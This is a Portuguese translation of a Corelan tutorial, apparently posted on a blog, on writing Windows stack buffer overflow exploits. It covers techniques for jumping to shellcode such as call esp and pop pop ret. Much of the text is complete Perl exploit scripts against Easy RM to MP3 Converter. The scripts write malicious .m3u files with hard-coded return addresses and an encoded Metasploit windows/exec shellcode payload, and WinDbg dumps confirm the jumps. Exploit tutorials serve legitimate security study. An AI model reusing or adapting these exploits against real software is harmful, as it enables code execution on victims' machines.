Tradução do original: https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/
Essa nova série de artigos, divida em 3 partes, é baseada em uma série prévia, traduzida e adaptada a partir do material criado pelo CorelanTeam. Abaixo seguem os links dos artigos anteriores, e para seguir essa nova série, é necessário que tome conhecimento da série prévia:
http://hackproofing.blogspot.com/2011/04/escrevendo-um-exploit-para-stack.html
http://hackproofing.blogspot.com/2011/05/escrevendo-um-exploit-para-stack.html
http://hackproofing.blogspot.com/2011/06/escrevendo-um-exploit-para-stack.html
Agora vamos à nova série...
Para onde você quer pular (jmp) hoje ?
No tutorial anterior, expliquei
sobre como descobrir uma vulnerabilidade e utilizar essa informação para
construir um exploit funcional. No exemplo, vimos que ESP apontava quase que
diretamente para o início de nosso buffer (precisamos apenas adicionar 4 bytes
ao shellcode para fazer ESP apontar diretamente para o shellcode), e poderíamos
utilizar um “jmp esp” para fazer o shellcode executar.
O fato de podermos utilizar um
“jmp esp” foi um cenário quase perfeito. Nem sempre é tão fácil assim. Nesse
tutorial vamos ver outras formas de executar nosso shellcode, e ver quais são
as opções existentes caso se depare com buffers muito pequenos.
Há diversos métodos de forçar a
execução de um shellcode.
Jump (or call) para um registrador
que aponta para o shellcode. Com esta técnica, você basicamente utiliza um
registrador que contém o endereço onde o shellcode está localizado e coloca
esse endereço no EIP. Você tenta encontrar o opcode de um “jump” ou “call” para
o registrador em uma das dll’s que esteja carregada quando a aplicação for
executada. Quando criar seu payload, ao invés de sobrescrever o EIP com um
endereço na memória, você precisa sobrescrever o EIP com o endereço do “jump
para o registrador”. Obviamente que isso só funciona se um dos registradores
disponíveis contiver um endereço que aponte para o shellcode. Foi dessa forma
que fizemos com que nosso exploit funcionasse no primeiro tutorial, então não
vamos entrar nesse assunto daqui por diante.
Pop return: se nenhum dos
registradores apontar diretamente para o shellcode, mas você consegue enxergar
um endereço na stack que aponta para o shellcode, então poderá carregar esse
valor no EIP colocando um apontador para pop ret, ou pop pop ret, ou pop pop
pop ret (tudo dependendo do local onde o endereço foi encontrado na stack) na
EIP.
Push return: este método é pouco
diferente da técnica que chamamos de “call register”. Se você não puder
encontrar um opcode “jump register” ou “call register” em lugar algum, pode simplesmente
colocar o endereço na stack e então fazer um ret. Então você basicamente tenta
encontrar um push , seguido por um ret. Encontre o opcode para
esta sequência, encontre um arquivo que performe esta sequência, e sobrescreva
o EIP com este endereço.
Jmp [reg + offset]: Se houver um
registrador que aponte para o buffer que contém o shellcode, mas não aponta
para o início do shellcode, pode-se tentar encontrar uma instrução em uma DLL do S.O. ou de
alguma aplicação, que adicionará os bytes necessários ao registrador e então
pula para o registrador.
Blind return: no tutorial
anterior foi explicado que o ESP aponta para a posição atual na pilha (por
padrão). Uma instrução RET irá fazer um “pop” do último valor (4 bytes) da
pilha e irá colocar esse endereço na ESP. Então, se você sobrescrever o EIP com
o endereço que realiza uma instrução RET, você carregará o valor armazenado no
ESP, dentro do EIP. Se você se deparar com uma situação em que o espaço
disponível no buffer (após sobrescrever o EIP) seja limitado, mas tiver uma boa
quantidade de espaço antes de sobrescrever o EIP, então poderá utilizar “jump
code” no buffer menor para pular para o shellcode principal na primeira parte
do buffer.
SEH: Toda aplicação possui um
manipulador padrão de exceção (default exception handler) que é disponibilizado
pelo S.O. Então, mesmo se a aplicação não utilizar por si mesma um manipulador
de exceções, você pode tentar sobrescrever o manipulador SEH com seu próprio
endereço e fazê-lo pular para seu shellcode. Utilizando o SEH é possível fazer
um exploit mais confiável em várias plataformas Windows, mas são necessárias
algumas explicações a mais antes que possa começar a abusar do SEH para
escrever exploits. A idéia por detrás disso é que se você construir um exploit
que não funcione em um determinado S.O., então o payload pode apenas gerar um
crash na aplicação (e fazer o triggering de uma exceção). Então se você puder
combinar um exploit “normal” com um exploit baseado em seh, então você terá
criado um exploit mais confiável. De qualquer forma, o próximo tutorial lidará
especificamente com SEH. Apenas lembre que um típico stack buffer overflow,
onde sobrescrevemos o EIP, pode ser potencialmente sujeito à técnica de
exploits baseados em SEH também, dando-lhe mais estabilidade, um buffer de
tamanho maior.
As técnicas explicadas neste
tutorial são apenas exmplos. O objetivo do mesmo é explicar que podem haver
vários para pular para seu shellcode, e em outros casos pode haver apenas uma
forma (e pode requerer uma combinação de técnicas) para fazer com que seu
código arbitrário seja executado.
Podem haver muitos outros métodos
para afzer um exploit funcionar e de forma confiável, mas se você dominar
aqueles listados aqui, e utilizar o senso comum, poderá encontrar uma forma
para resolver a maioria dos problemas quando estiver tentando fazer com que um
exploit pule para seu shellcode. Mesmo se uma técnica pareça funcionar, mas o
shellcode não execute, você pode brincar com encoders de shellcode, move o
shellcode uns poucos bits para frente e colocar alguns NOP’s antes do
shellcode... há várias coisas que podem ajudar seu exploit funcionar.
Obviamente que é perfeitamente
possível que uma vulnerabilidade apenas leve à um crash, e nunca seja
explorada.
Vamos dar uma olhada na
implementação prática de algumas das técnicas listadas acima.
call [reg]
Se um registro é carregado com um
endereço que aponte diretamente para o shellcode, então você pode fazer um call
[reg] para pular diretamente para o shellcode. Em outras palavras, se ESP
aponta diretamente para o shellcode (então o primeiro byte do ESP é o primeiro
byte de seu shellcode), então você pode sobrescrever o EIP com o endereço de
“call esp”, e o shellcode será executado. Isso funciona com todos os
registradores e é bem popular porque o kernel32.dll contém diversos endereços
call [reg].
Exemplo: assumindo que ESP aponta
para o shellcode: primeiro, procure por um endereço que contenha o opcode ‘call
esp’. Vamos utilizar o findjmp:
findjmp.exe kernel32.dll esp
Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning kernel32.dll for code useable with the esp register
0x7C836A08 call esp
0x7C874413 jmp esp
Finished Scanning kernel32.dll for code useable with the esp register
Found 2 usable addresses
Depois, escreva o exploit e
sobrescreva o EIP com 0x7C836A08.
A partir do exemplo do Easy RM to
MP3, no tutorial anterior, sabemos que podemos apontar ESP no início de nosso
shellcode adicionando 4 caracteres entre o local onde EIP foi sobrescrito e
ESP. Um exploit padrão pareceria com o que está abaixo:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x7C836A08); #sobrescreve EIP com call esp
my $prependesp = "XXXX"; #adiciona 4 bytes e assim o ESP aponta para os bytes iniciais do shellcode
my $shellcode = "\x90" x 25; #inicia o shellcode com alguns NOPS
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "Arquivo m3u criado com sucesso \n";
pop ret
Como explicado acima, no exemplo
do Easy RM to MP3, fomos capazes de manipular nosso buffer para que ESP
apontasse diretamente para nosso shellcode. O que fazer quando não houver
registradores que apontem para nosso shellcode?
Bem, nesse caso, um endereço
apontando para o shellcode pode existir na stack. Se fizer um dump do esp,
verifique os primeiros endereços. Se um desses endereços apontar para seu
shellcode (ou um buffer que você controla), então poderá encontrar um pop ret
ou pop pop ret (nada a ver com exploits baseados em SEH aqui) para:
- Pegar endereços da stack (e sair dos mesmos)
- Pular para endereços que trariam para você o
shellcode.
A técnica de pop ret obviamente é
utilizável apenas quando ESP+offset já contém um endereço que aponta para o
shellcode... Então faça um dump do esp, veja se um dos primeiros endereços
aponta para o shellcode, e coloque uma referência à pop ret (ou pop pop ret ou
pop pop pop ret) no EIP. Isso irá retornar algum endereço da stack (um endereço
para cada pop) e colocará o próximo endereço no EIP. Se algum deles apontar
para o shellcode, então você terá vencido.
Há um segundo uso para o pop ret:
o que fazer se você controla o EIP, nenhum registrador aponta para o shellcode,
mas seu shellcode pode ser encontrado em ESP+8: Nesse caso, você pode colocar
um pop pop ret no EIP, que irá pular para ESP+8. Se você colocar um apontador
para jmp esp neste local, então irá pular para o shellcode que está localizado
logo após o apontador jmp esp.
Vamos fazer um teste. Sabemos que
precisamos de 26094 bytes antes de sobrescrever o EIP, e que precisamos de mais
4 bytes antes de chegarmos no endereço da stack para onde o ESP aponta ( no meu
caso, o endereço é 0x000ff730).
Simularemos que em ESP+8, temos
um endereço que aponta para o shellcode.
26094 A’s, 4 XXXX’s, um break, 7
NOP’s, um break, e mais NOP’s. Pretendemos que o shellcode comece no segundo
break. O objetivo é fazer um jump no primeiro break, direto para o segundo
break (que está em ESP+8 bytes = 0x000ff738).
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB"; #sobrescreve EIP
my $prependesp = "XXXX"; #adiciona 4 bytes para que o ESP aponte para os bytes iniciais do shellcode
my $shellcode = "\xcc"; #primeiro break
$shellcode = $shellcode . "\x90" x 7; #adiciona mais 7 bytes
$shellcode = $shellcode . "\xcc"; #segundo break
$shellcode = $shellcode . "\x90" x 500; #shellcode
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "Arquivo m3u criado com sucesso \n";
Vamos olhar a stack...
A aplicação trava por conta do
estouro de buffer. Nós sobrescrevemos EIP com “BBBB”. ESP aponta para 000ff730
(que começa com o primeiro break), então 7 NOP’s, e então vemos o segundo
break, que está na verdade no início de nosso shellcode (que está no endereço
0x000ff738).
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fa
eip=42424242 esp=000ff730 ebp=00344200 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ?? ???
0:000> d esp
000ff730 cc 90 90 90 90 90 90 90-cc 90 90 90 90 90 90 90 ................
000ff740 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff750 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff760 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff770 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff780 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff790 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7a0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d 000ff738
000ff738 cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff748 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff758 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff768 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff778 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff788 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff798 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7a8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
O objetivo é obter o valor de
ESP+8 no EIP (e manipular este valor para que pule para o shellcode).
Utilizaremos a técnica pop ret + endereço do jmp esp para conseguir isso. Uma instrução POP pegará 4 bytes do
topo da stack. Assim o stack pointer apontaria para 000ff734. Executando
outra instrução pop tomaríamos mais 4 bytes do topo da stack. ESP então
apontaria para 000ff738. Quando uma instrução “ret” é executada, o valor no
endereço atual de ESP é colocado no EIP. Assim se o valor de 000ff738 contém o
endereço de uma instrução jmp esp, então este é o que EIP também conteria. O
buffer após 000ff738 deve conter nosso shellcode. Precisamos encontrar a sequência
de instruções pop, pop, ret em algum lugar, e sobrescrever o EIP com o endereço
da primeira parte da sequência de instruções, e devemos configurar ESP+8 para o
endereço de jmp esp, seguido pelo shellcode.
Em primeiro lugar, precisamos
saber o opcode para pop pop ret. Utilizaremos a funcionalidade assemble no
windbg para obter os opcodes:
0:000> a
7c90120e pop eax
pop eax
7c90120f pop ebp
pop ebp
7c901210 ret
ret
7c901211
0:000> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e 58 pop eax
7c90120f 5d pop ebp
7c901210 c3 ret
7c901211 ffcc dec esp
7c901213 c3 ret
7c901214 8bff mov edi,edi
7c901216 8b442404 mov eax,dword ptr [esp+4]
7c90121a cc int 3
Então o opcode de pop pop ret é 0×58,0x5d,0xc3
Obviamente, que você pode optar
por outros registradores também. Há alguns outros opcodes de pop disponíveis:
pop register
|
opcode
|
pop eax
|
58
|
pop ebx
|
5b
|
pop ecx
|
59
|
pop edx
|
5a
|
pop esi
|
5e
|
pop ebp
|
5d
|
Agora precisamos encontrar esta
sequência em uma das dlls disponíveis. No primeiro tutorial falamos sobre dll’s
de aplicação versus dll’s de SO. Penso ser recomendado utilizar dll’s de
aplicação por aumentarem a chance de construir exploits mais confiáveis em
diferentes plataformas e versões do Windows... Mas é necessário ter certeza de
que as dll’s utilizam alguns endereços básicos todas as vezes.
As vezes, as dll’s são
realocadas, e nesse cenário poderia ser melhor utilizar um DLL de SO
(user32.dll ou kernel32.dll, por exemplo).
Abra o Easy RM to MP3 (não abra nenhum
arquivo ou qualquer outra coisa) e então anexe o windbg ao processo executado.
Windbg mostrará os módulos
carregados, tanto da aplicação quanto os de SO. (olhe para a parte superior da
saída do windbg, e encontre a linha que inicia com ModLoad). Haverão algumas
dll’s de aplicação:
ModLoad: 00ce0000 00d7f000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
ModLoad: 01a90000 01b01000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
ModLoad: 00c80000 00c87000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
ModLoad: 01b10000 01fdd000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
Você pode exibir a imagem base de
uma dll rodando o dumpbin.exe (do Visual Studio) com o parâmetro /headers
contra a dll. Isso permitirá definir o endereço menor e maior para buscas.
Deve-se evitar a utilização de
endereços que contenham null bytes (porque isso pode tornar o exploit ainda
mais difícil).
Uma busca no MSRMCcodec00.dll nos
dá alguns resultados:
0:014> s 01a90000 l 01b01000 58 5d c3
01ab6a10 58 5d c3 33 c0 5d c3 55-8b ec 51 51 dd 45 08 dc X].3.].U..QQ.E..
01ab8da3 58 5d c3 8d 4d 08 83 65-08 00 51 6a 00 ff 35 6c X]..M..e..Qj..5l
01ab9d69 58 5d c3 6a 02 eb f9 6a-04 eb f5 b8 00 02 00 00 X].j...j........
Ok, podemos pular para ESP+8
agora. Neste local precisamos colocar o endereço para jmp esp (pois, como
explicado antes, a instrução ret pegará o endereço daquele local e o colocará
no EIP. Neste ponto, o endereço ESP apontará para nosso shellcode que está
localizado após o endereço de jmp esp... então o que realmente queremos nesse
ponto é um jmp esp).
No primeiro tutorial, aprendemos
que 0x01ccf23a refere-se a jmp esp. Então vamos voltar ao nosso script Perl e
substituir o “BBBB” (usado para sobrescrever o EIP) por um dos 3 endereços pop,
pop, ret, seguido por 8 bytes (NOP) (para simular que nosso shellcode está 8
bytes além do topo da stack), então o endereço de jmp esp, e então o shellcode.
O buffer parecerá assim:
[AAAAAAAAAAA...AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode]
26094 A's EIP 8 bytes offset JMP ESP
(=POPPOPRET)
O fluxo completo do exploit se
parecerá com isso:
1 – EIP é sobrescrito com POP POP
RET (novamente, este exemplo não tem nada com exploits baseados em SEH. Queremos apenas
pegar um valor que está na stack e jogar na EIP). ESP aponta para o início dos
8 bytes offset do shellcode.
2 – POP POP RET é executado. EIP
está sobrescrito com 0x01ccf23a (pois esse é o endereço encontrado em ESP+0x8).
ESP agora aponta para o shellcode.
3 – Já que EIP está sobrescrito
com o endereço de jmp esp, o segundo jump é executado e o shellcode lançado.
----------------------------------
| |(1)
| |
| ESP aponta aqui (1) |
| | V
[AAAAAAAAAAA...AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode]
26094 A's EIP 8 bytes offset JMP ESP ^
(=POPPOPRET) | | (2)
|------|
ESP agora aponta aqui (2)
Simularemos isso com um break e alguns NOP’s como shellcode,
assim podemos ver se nosso jump funciona.
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x01ab6a10); #pop pop ret de MSRMfilter01.dll
my $jmpesp = pack('V',0x01ccf23a); #jmp esp
my $prependesp = "XXXX"; #adiciona 4 bytes e ESP aponta para o início do shellcode
my $shellcode = "\x90" x 8; #adicionais mais bytes
$shellcode = $shellcode . $jmpesp; #endereço para retorno via pop pop ret ( = jmp esp)
$shellcode = $shellcode . "\xcc" . "\x90" x 500; #shellcode real
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "Arquivo m3u criado com sucesso \n";
(d08.384): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=90909090 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fe
eip=000ff73c esp=000ff73c ebp=90909090 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0xff72b:
000ff73c cc int 3
0:000> d esp
000ff73c cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff74c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff75c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff76c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff77c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff78c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff79c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7ac 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
Funciona! Agora vamos substituir os NOP’s após o jmp esp
(ESP+8) pelo shellcode real (alguns nops para nos certificarmos + shellcode,
codificados com alpha_upper):
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x01ab6a10); #pop pop ret de MSRMfilter01.dll
my $jmpesp = pack('V',0x01ccf23a); #jmp esp
my $prependesp = "XXXX"; # adiciona 4 bytes e ESP aponta para o início do shellcode
my $shellcode = "\x90" x 8; # adicionais mais bytes
$shellcode = $shellcode . $jmpesp; # endereço para retorno via pop pop ret ( = jmp esp)
$shellcode = $shellcode . "\x90" x 50; #shellcode real
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "Arquivo m3u criado com sucesso \n";